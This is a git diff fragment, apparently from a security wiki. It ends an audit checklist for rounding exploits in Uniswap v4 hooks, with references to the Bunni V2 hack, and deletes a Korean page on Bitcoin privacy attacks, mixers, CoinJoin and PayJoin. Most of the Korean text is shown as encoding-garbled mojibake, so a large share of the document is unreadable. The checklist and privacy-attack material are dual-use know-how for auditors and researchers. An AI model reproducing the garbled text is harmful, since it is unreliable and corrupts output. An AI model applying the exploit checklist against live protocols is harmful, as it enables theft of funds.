callbacks are enabled? +- Are there perโ€‘swap redistributions/rebalances using custom math? Any tick/threshold logic? +- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent? +- Can you construct ฮ”in that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput. +- Does the hook track perโ€‘caller credits or deltas that can be withdrawn later? Ensure residue is neutralized. + +## References + +- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b) +- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit) +- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development) +- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core) +- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core) +- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md deleted file mode 100644 index 04763103d..000000000 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ /dev/null @@ -1,182 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -## ๊ธฐ๋ณธ ๊ฐœ๋… - -- **์Šค๋งˆํŠธ ๊ณ„์•ฝ**์€ ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ ๋ธ”๋ก์ฒด์ธ์—์„œ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ, ์ค‘๊ฐœ์ž ์—†์ด ๊ณ„์•ฝ ์‹คํ–‰์„ ์ž๋™ํ™”ํ•ฉ๋‹ˆ๋‹ค. -- **ํƒˆ์ค‘์•™ํ™” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (dApps)**์€ ์Šค๋งˆํŠธ ๊ณ„์•ฝ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜๋ฉฐ, ์‚ฌ์šฉ์ž ์นœํ™”์ ์ธ ํ”„๋ก ํŠธ ์—”๋“œ์™€ ํˆฌ๋ช…ํ•˜๊ณ  ๊ฐ์‚ฌ ๊ฐ€๋Šฅํ•œ ๋ฐฑ ์—”๋“œ๋ฅผ ํŠน์ง•์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. -- **ํ† ํฐ ๋ฐ ์ฝ”์ธ**์€ ์ฝ”์ธ์ด ๋””์ง€ํ„ธ ํ™”ํ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๋ฐ˜๋ฉด, ํ† ํฐ์€ ํŠน์ • ๋งฅ๋ฝ์—์„œ ๊ฐ€์น˜๋‚˜ ์†Œ์œ ๊ถŒ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- **์œ ํ‹ธ๋ฆฌํ‹ฐ ํ† ํฐ**์€ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ๋ถ€์—ฌํ•˜๊ณ , **์ฆ๊ถŒ ํ† ํฐ**์€ ์ž์‚ฐ ์†Œ์œ ๊ถŒ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- **DeFi**๋Š” ํƒˆ์ค‘์•™ํ™” ๊ธˆ์œต์„ ์˜๋ฏธํ•˜๋ฉฐ, ์ค‘์•™ ๊ถŒํ•œ ์—†์ด ๊ธˆ์œต ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -- **DEX**์™€ **DAO**๋Š” ๊ฐ๊ฐ ํƒˆ์ค‘์•™ํ™” ๊ฑฐ๋ž˜ ํ”Œ๋žซํผ๊ณผ ํƒˆ์ค‘์•™ํ™” ์ž์œจ ์กฐ์ง์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. - -## ํ•ฉ์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜ - -ํ•ฉ์˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ธ”๋ก์ฒด์ธ์—์„œ ์•ˆ์ „ํ•˜๊ณ  ํ•ฉ์˜๋œ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค: - -- **์ž‘์—… ์ฆ๋ช… (PoW)**์€ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ์„ ์œ„ํ•ด ๊ณ„์‚ฐ ๋Šฅ๋ ฅ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. -- **์ง€๋ถ„ ์ฆ๋ช… (PoS)**์€ ๊ฒ€์ฆ์ž๊ฐ€ ์ผ์ •๋Ÿ‰์˜ ํ† ํฐ์„ ๋ณด์œ ํ•ด์•ผ ํ•˜๋ฉฐ, PoW์— ๋น„ํ•ด ์—๋„ˆ์ง€ ์†Œ๋น„๋ฅผ ์ค„์ž…๋‹ˆ๋‹ค. - -## ๋น„ํŠธ์ฝ”์ธ ํ•„์ˆ˜ ์‚ฌํ•ญ - -### ๊ฑฐ๋ž˜ - -๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜๋Š” ์ฃผ์†Œ ๊ฐ„ ์ž๊ธˆ์„ ์ „์†กํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๋ž˜๋Š” ๋””์ง€ํ„ธ ์„œ๋ช…์„ ํ†ตํ•ด ๊ฒ€์ฆ๋˜๋ฉฐ, ๊ฐœ์ธ ํ‚ค์˜ ์†Œ์œ ์ž๋งŒ์ด ์ „์†ก์„ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -#### ์ฃผ์š” ๊ตฌ์„ฑ ์š”์†Œ: - -- **๋‹ค์ค‘ ์„œ๋ช… ๊ฑฐ๋ž˜**๋Š” ๊ฑฐ๋ž˜๋ฅผ ์Šน์ธํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์„œ๋ช…์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. -- ๊ฑฐ๋ž˜๋Š” **์ž…๋ ฅ**(์ž๊ธˆ ์ถœ์ฒ˜), **์ถœ๋ ฅ**(๋ชฉ์ ์ง€), **์ˆ˜์ˆ˜๋ฃŒ**(์ฑ„๊ตด์ž์—๊ฒŒ ์ง€๊ธ‰), ๋ฐ **์Šคํฌ๋ฆฝํŠธ**(๊ฑฐ๋ž˜ ๊ทœ์น™)๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค. - -### ๋ผ์ดํŠธ๋‹ ๋„คํŠธ์›Œํฌ - -๋น„ํŠธ์ฝ”์ธ์˜ ํ™•์žฅ์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ์ฑ„๋„ ๋‚ด์—์„œ ํ—ˆ์šฉํ•˜๊ณ , ์ตœ์ข… ์ƒํƒœ๋งŒ ๋ธ”๋ก์ฒด์ธ์— ๋ฐฉ์†กํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค. - -## ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๋ฌธ์ œ - -**๊ณตํ†ต ์ž…๋ ฅ ์†Œ์œ ๊ถŒ** ๋ฐ **UTXO ๋ณ€๊ฒฝ ์ฃผ์†Œ ํƒ์ง€**์™€ ๊ฐ™์€ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ์€ ๊ฑฐ๋ž˜ ํŒจํ„ด์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. **๋ฏน์„œ** ๋ฐ **์ฝ”์ธ์กฐ์ธ**๊ณผ ๊ฐ™์€ ์ „๋žต์€ ์‚ฌ์šฉ์ž ๊ฐ„์˜ ๊ฑฐ๋ž˜ ๋งํฌ๋ฅผ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜์—ฌ ์ต๋ช…์„ฑ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. - -## ๋น„ํŠธ์ฝ”์ธ์„ ์ต๋ช…์œผ๋กœ ํš๋“ํ•˜๊ธฐ - -ํ˜„๊ธˆ ๊ฑฐ๋ž˜, ์ฑ„๊ตด ๋ฐ ๋ฏน์„œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. **์ฝ”์ธ์กฐ์ธ**์€ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ˜ผํ•ฉํ•˜์—ฌ ์ถ”์  ๊ฐ€๋Šฅ์„ฑ์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ , **ํŽ˜์ด์กฐ์ธ**์€ ์ฝ”์ธ์กฐ์ธ์„ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜๋กœ ์œ„์žฅํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋†’์ž…๋‹ˆ๋‹ค. - -# ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ - -# ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ ๊ณต๊ฒฉ ์š”์•ฝ - -๋น„ํŠธ์ฝ”์ธ ์„ธ๊ณ„์—์„œ ๊ฑฐ๋ž˜์˜ ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ์‚ฌ์šฉ์ž ์ต๋ช…์„ฑ์€ ์ข…์ข… ์šฐ๋ ค์˜ ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋น„ํŠธ์ฝ”์ธ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ๊ฐ„๋‹จํ•œ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค. - -## **๊ณตํ†ต ์ž…๋ ฅ ์†Œ์œ ๊ถŒ ๊ฐ€์ •** - -๋ณต์žก์„ฑ์œผ๋กœ ์ธํ•ด ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์ž…๋ ฅ์ด ๋‹จ์ผ ๊ฑฐ๋ž˜์— ๊ฒฐํ•ฉ๋˜๋Š” ๊ฒฝ์šฐ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋“œ๋ญ…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **๊ฐ™์€ ๊ฑฐ๋ž˜์˜ ๋‘ ์ž…๋ ฅ ์ฃผ์†Œ๋Š” ์ข…์ข… ๋™์ผํ•œ ์†Œ์œ ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •๋ฉ๋‹ˆ๋‹ค**. - -## **UTXO ๋ณ€๊ฒฝ ์ฃผ์†Œ ํƒ์ง€** - -UTXO, ์ฆ‰ **์‚ฌ์šฉ๋˜์ง€ ์•Š์€ ๊ฑฐ๋ž˜ ์ถœ๋ ฅ**์€ ๊ฑฐ๋ž˜์—์„œ ์™„์ „ํžˆ ์†Œ์ง„๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€๋งŒ ๋‹ค๋ฅธ ์ฃผ์†Œ๋กœ ์ „์†ก๋˜๋ฉด ๋‚˜๋จธ์ง€๋Š” ์ƒˆ๋กœ์šด ๋ณ€๊ฒฝ ์ฃผ์†Œ๋กœ ๊ฐ€๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ด€์ฐฐ์ž๋Š” ์ด ์ƒˆ๋กœ์šด ์ฃผ์†Œ๊ฐ€ ๋ฐœ์‹ ์ž์—๊ฒŒ ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•˜์—ฌ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์นจํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -### ์˜ˆ์‹œ - -์ด๋ฅผ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ๋ฏน์‹ฑ ์„œ๋น„์Šค๋‚˜ ์—ฌ๋Ÿฌ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์†Œ์œ ๊ถŒ์„ ๋ชจํ˜ธํ•˜๊ฒŒ ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -## **์†Œ์…œ ๋„คํŠธ์›Œํฌ ๋ฐ ํฌ๋Ÿผ ๋…ธ์ถœ** - -์‚ฌ์šฉ์ž๋“ค์€ ๋•Œ๋•Œ๋กœ ์ž์‹ ์˜ ๋น„ํŠธ์ฝ”์ธ ์ฃผ์†Œ๋ฅผ ์˜จ๋ผ์ธ์— ๊ณต์œ ํ•˜์—ฌ **์ฃผ์†Œ์™€ ์†Œ์œ ์ž๋ฅผ ์‰ฝ๊ฒŒ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค**. - -## **๊ฑฐ๋ž˜ ๊ทธ๋ž˜ํ”„ ๋ถ„์„** - -๊ฑฐ๋ž˜๋Š” ๊ทธ๋ž˜ํ”„๋กœ ์‹œ๊ฐํ™”๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž๊ธˆ ํ๋ฆ„์— ๋”ฐ๋ผ ์‚ฌ์šฉ์ž ๊ฐ„์˜ ์ž ์žฌ์  ์—ฐ๊ฒฐ์„ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. - -## **๋ถˆํ•„์š”ํ•œ ์ž…๋ ฅ ํœด๋ฆฌ์Šคํ‹ฑ (์ตœ์  ๋ณ€๊ฒฝ ํœด๋ฆฌ์Šคํ‹ฑ)** - -์ด ํœด๋ฆฌ์Šคํ‹ฑ์€ ์—ฌ๋Ÿฌ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ๊ฐ€์ง„ ๊ฑฐ๋ž˜๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์–ด๋–ค ์ถœ๋ ฅ์ด ๋ฐœ์‹ ์ž์—๊ฒŒ ๋Œ์•„๊ฐ€๋Š” ๋ณ€๊ฒฝ์ธ์ง€ ์ถ”์ธกํ•˜๋Š” ๋ฐ ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. - -### ์˜ˆ์‹œ -```bash -2 btc --> 4 btc -3 btc 1 btc -``` -๋” ๋งŽ์€ ์ž…๋ ฅ์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ณ€๊ฒฝ๋œ ์ถœ๋ ฅ์ด ๋‹จ์ผ ์ž…๋ ฅ๋ณด๋‹ค ์ปค์ง€๋ฏ€๋กœ ํœด๋ฆฌ์Šคํ‹ฑ์„ ํ˜ผ๋ž€์Šค๋Ÿฝ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -## **๊ฐ•์ œ ์ฃผ์†Œ ์žฌ์‚ฌ์šฉ** - -๊ณต๊ฒฉ์ž๋Š” ์ด์ „์— ์‚ฌ์šฉ๋œ ์ฃผ์†Œ๋กœ ์†Œ๋Ÿ‰์„ ๋ณด๋‚ด์–ด ์ˆ˜์‹ ์ž๊ฐ€ ํ–ฅํ›„ ๊ฑฐ๋ž˜์—์„œ ์ด๋ฅผ ๋‹ค๋ฅธ ์ž…๋ ฅ๊ณผ ๊ฒฐํ•ฉํ•˜๊ธฐ๋ฅผ ํฌ๋งํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ์ฃผ์†Œ๋ฅผ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. - -### ์˜ฌ๋ฐ”๋ฅธ ์ง€๊ฐ‘ ๋™์ž‘ - -์ง€๊ฐ‘์€ ์ด๋ฏธ ์‚ฌ์šฉ๋œ ๋นˆ ์ฃผ์†Œ์—์„œ ๋ฐ›์€ ์ฝ”์ธ์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•„์•ผ ํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๊ฐœ์ธ ์ •๋ณด ์œ ์ถœ์„ ๋ฐฉ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. - -## **๊ธฐํƒ€ ๋ธ”๋ก์ฒด์ธ ๋ถ„์„ ๊ธฐ์ˆ ** - -- **์ •ํ™•ํ•œ ์ง€๋ถˆ ๊ธˆ์•ก:** ์ž”๋ˆ์ด ์—†๋Š” ๊ฑฐ๋ž˜๋Š” ๋™์ผํ•œ ์‚ฌ์šฉ์ž๊ฐ€ ์†Œ์œ ํ•œ ๋‘ ์ฃผ์†Œ ๊ฐ„์˜ ๊ฑฐ๋ž˜์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. -- **์ •์ˆ˜:** ๊ฑฐ๋ž˜์—์„œ ์ •์ˆ˜๋Š” ์ง€๋ถˆ์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ๋น„์ •์ˆ˜ ์ถœ๋ ฅ์€ ์ž”๋ˆ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. -- **์ง€๊ฐ‘ ์ง€๋ฌธ ์ธ์‹:** ์„œ๋กœ ๋‹ค๋ฅธ ์ง€๊ฐ‘์€ ๊ณ ์œ ํ•œ ๊ฑฐ๋ž˜ ์ƒ์„ฑ ํŒจํ„ด์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด ๋ถ„์„๊ฐ€๊ฐ€ ์‚ฌ์šฉ๋œ ์†Œํ”„ํŠธ์›จ์–ด์™€ ์ž ์žฌ์ ์œผ๋กœ ๋ณ€๊ฒฝ ์ฃผ์†Œ๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ธˆ์•ก ๋ฐ ์‹œ๊ฐ„ ์ƒ๊ด€๊ด€๊ณ„:** ๊ฑฐ๋ž˜ ์‹œ๊ฐ„์ด๋‚˜ ๊ธˆ์•ก์„ ๊ณต๊ฐœํ•˜๋ฉด ๊ฑฐ๋ž˜๋ฅผ ์ถ”์ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -## **ํŠธ๋ž˜ํ”ฝ ๋ถ„์„** - -๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” ๊ฑฐ๋ž˜๋‚˜ ๋ธ”๋ก์„ IP ์ฃผ์†Œ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž ๊ฐœ์ธ ์ •๋ณด๋ฅผ ์œ„ํ˜‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํŠนํžˆ ํ•œ ์—”ํ‹ฐํ‹ฐ๊ฐ€ ๋งŽ์€ ๋น„ํŠธ์ฝ”์ธ ๋…ธ๋“œ๋ฅผ ์šด์˜ํ•˜๋Š” ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•˜๋ฉฐ, ๊ฑฐ๋ž˜ ๋ชจ๋‹ˆํ„ฐ๋ง ๋Šฅ๋ ฅ์„ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. - -## ๋” ๋งŽ์€ ์ •๋ณด - -๊ฐœ์ธ ์ •๋ณด ๊ณต๊ฒฉ ๋ฐ ๋ฐฉ์–ด์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ชฉ๋ก์€ [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)๋ฅผ ๋ฐฉ๋ฌธํ•˜์‹ญ์‹œ์˜ค. - -# ์ต๋ช… ๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜ - -## ์ต๋ช…์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ์–ป๋Š” ๋ฐฉ๋ฒ• - -- **ํ˜„๊ธˆ ๊ฑฐ๋ž˜**: ํ˜„๊ธˆ์„ ํ†ตํ•ด ๋น„ํŠธ์ฝ”์ธ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค. -- **ํ˜„๊ธˆ ๋Œ€์•ˆ**: ๊ธฐํ”„ํŠธ ์นด๋“œ๋ฅผ ๊ตฌ๋งคํ•˜๊ณ  ์ด๋ฅผ ์˜จ๋ผ์ธ์—์„œ ๋น„ํŠธ์ฝ”์ธ์œผ๋กœ ๊ตํ™˜ํ•ฉ๋‹ˆ๋‹ค. -- **์ฑ„๊ตด**: ๋น„ํŠธ์ฝ”์ธ์„ ์–ป๋Š” ๊ฐ€์žฅ ๊ฐœ์ธ์ ์ธ ๋ฐฉ๋ฒ•์€ ์ฑ„๊ตด์ด๋ฉฐ, ํŠนํžˆ ํ˜ผ์ž์„œ ํ•  ๋•Œ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์ฑ„๊ตด ํ’€์€ ์ฑ„๊ตด์ž์˜ IP ์ฃผ์†Œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **๋„๋‚œ**: ์ด๋ก ์ ์œผ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ํ›”์น˜๋Š” ๊ฒƒ์€ ์ต๋ช…์œผ๋กœ ํš๋“ํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ๋  ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด๋Š” ๋ถˆ๋ฒ•์ด๋ฉฐ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. - -## ๋ฏน์‹ฑ ์„œ๋น„์Šค - -๋ฏน์‹ฑ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ **๋น„ํŠธ์ฝ”์ธ์„ ๋ณด๋‚ด๊ณ ** **๋‹ค๋ฅธ ๋น„ํŠธ์ฝ”์ธ์„ ๋ฐ›๋Š”** ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜์—ฌ ์›๋ž˜ ์†Œ์œ ์ž๋ฅผ ์ถ”์ ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด๋Š” ์„œ๋น„์Šค๊ฐ€ ๋กœ๊ทธ๋ฅผ ๋ณด๊ด€ํ•˜์ง€ ์•Š๊ณ  ์‹ค์ œ๋กœ ๋น„ํŠธ์ฝ”์ธ์„ ๋ฐ˜ํ™˜ํ•  ๊ฒƒ์ด๋ผ๋Š” ์‹ ๋ขฐ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์•ˆ ๋ฏน์‹ฑ ์˜ต์…˜์œผ๋กœ๋Š” ๋น„ํŠธ์ฝ”์ธ ์นด์ง€๋…ธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. - -## CoinJoin - -**CoinJoin**์€ ์„œ๋กœ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์—ฌ๋Ÿฌ ๊ฑฐ๋ž˜๋ฅผ ํ•˜๋‚˜๋กœ ๋ณ‘ํ•ฉํ•˜์—ฌ ์ž…๋ ฅ๊ณผ ์ถœ๋ ฅ์„ ์ผ์น˜์‹œํ‚ค๋ ค๋Š” ์‚ฌ๋žŒ์—๊ฒŒ ๊ณผ์ •์„ ๋ณต์žกํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ๊ทธ ํšจ๊ณผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  ๊ณ ์œ ํ•œ ์ž…๋ ฅ ๋ฐ ์ถœ๋ ฅ ํฌ๊ธฐ๋ฅผ ๊ฐ€์ง„ ๊ฑฐ๋ž˜๋Š” ์—ฌ์ „ํžˆ ์ถ”์ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - -CoinJoin์„ ์‚ฌ์šฉํ–ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ์˜ˆ์‹œ ๊ฑฐ๋ž˜๋Š” `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ๋ฐ `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`์ž…๋‹ˆ๋‹ค. - -์ž์„ธํ•œ ์ •๋ณด๋Š” [CoinJoin](https://coinjoin.io/en)์„ ๋ฐฉ๋ฌธํ•˜์‹ญ์‹œ์˜ค. ์ด๋”๋ฆฌ์›€์—์„œ ์œ ์‚ฌํ•œ ์„œ๋น„์Šค๋Š” [Tornado Cash](https://tornado.cash)๋กœ, ์ด๋Š” ์ฑ„๊ตด์ž์˜ ์ž๊ธˆ์œผ๋กœ ๊ฑฐ๋ž˜๋ฅผ ์ต๋ช…ํ™”ํ•ฉ๋‹ˆ๋‹ค. - -## PayJoin - -CoinJoin์˜ ๋ณ€ํ˜•์ธ **PayJoin**(๋˜๋Š” P2EP)์€ ๋‘ ๋‹น์‚ฌ์ž(์˜ˆ: ๊ณ ๊ฐ๊ณผ ์ƒ์ธ) ๊ฐ„์˜ ๊ฑฐ๋ž˜๋ฅผ ์ผ๋ฐ˜ ๊ฑฐ๋ž˜๋กœ ์œ„์žฅํ•˜์—ฌ CoinJoin์˜ ๊ณ ์œ ํ•œ ๋™๋“ฑ ์ถœ๋ ฅ ํŠน์„ฑ์ด ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํƒ์ง€ํ•˜๊ธฐ ๋งค์šฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค๋ฉฐ, ๊ฑฐ๋ž˜ ๊ฐ์‹œ ๊ธฐ๊ด€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ผ๋ฐ˜ ์ž…๋ ฅ ์†Œ์œ ๊ถŒ ํœด๋ฆฌ์Šคํ‹ฑ์„ ๋ฌดํšจํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -```plaintext -2 btc --> 3 btc -5 btc 4 btc -``` -์œ„์™€ ๊ฐ™์€ ๊ฑฐ๋ž˜๋Š” PayJoin์ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ‘œ์ค€ ๋น„ํŠธ์ฝ”์ธ ๊ฑฐ๋ž˜์™€ ๊ตฌ๋ณ„๋˜์ง€ ์•Š์œผ๋ฉด์„œ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. - -**PayJoin์˜ ํ™œ์šฉ์€ ์ „ํ†ต์ ์ธ ๊ฐ์‹œ ๋ฐฉ๋ฒ•์— ์ƒ๋‹นํ•œ ํ˜ผ๋ž€์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ**, ๊ฑฐ๋ž˜ ํ”„๋ผ์ด๋ฒ„์‹œ ์ถ”๊ตฌ์— ์žˆ์–ด ์œ ๋งํ•œ ๋ฐœ์ „์ž…๋‹ˆ๋‹ค. - -# ์•”ํ˜ธํ™”ํ์—์„œ์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ์œ„ํ•œ ๋ชจ๋ฒ” ์‚ฌ๋ก€ - -## **์ง€๊ฐ‘ ๋™๊ธฐํ™” ๊ธฐ์ˆ ** - -ํ”„๋ผ์ด๋ฒ„์‹œ์™€ ๋ณด์•ˆ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ธ”๋ก์ฒด์ธ๊ณผ ์ง€๊ฐ‘์„ ๋™๊ธฐํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค: - -- **ํ’€ ๋…ธ๋“œ**: ์ „์ฒด ๋ธ”๋ก์ฒด์ธ์„ ๋‹ค์šด๋กœ๋“œํ•จ์œผ๋กœ์จ ํ’€ ๋…ธ๋“œ๋Š” ์ตœ๋Œ€ํ•œ์˜ ํ”„๋ผ์ด๋ฒ„์‹œ๋ฅผ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ง€๊ธˆ๊นŒ์ง€ ์ด๋ฃจ์–ด์ง„ ๋ชจ๋“  ๊ฑฐ๋ž˜๊ฐ€ 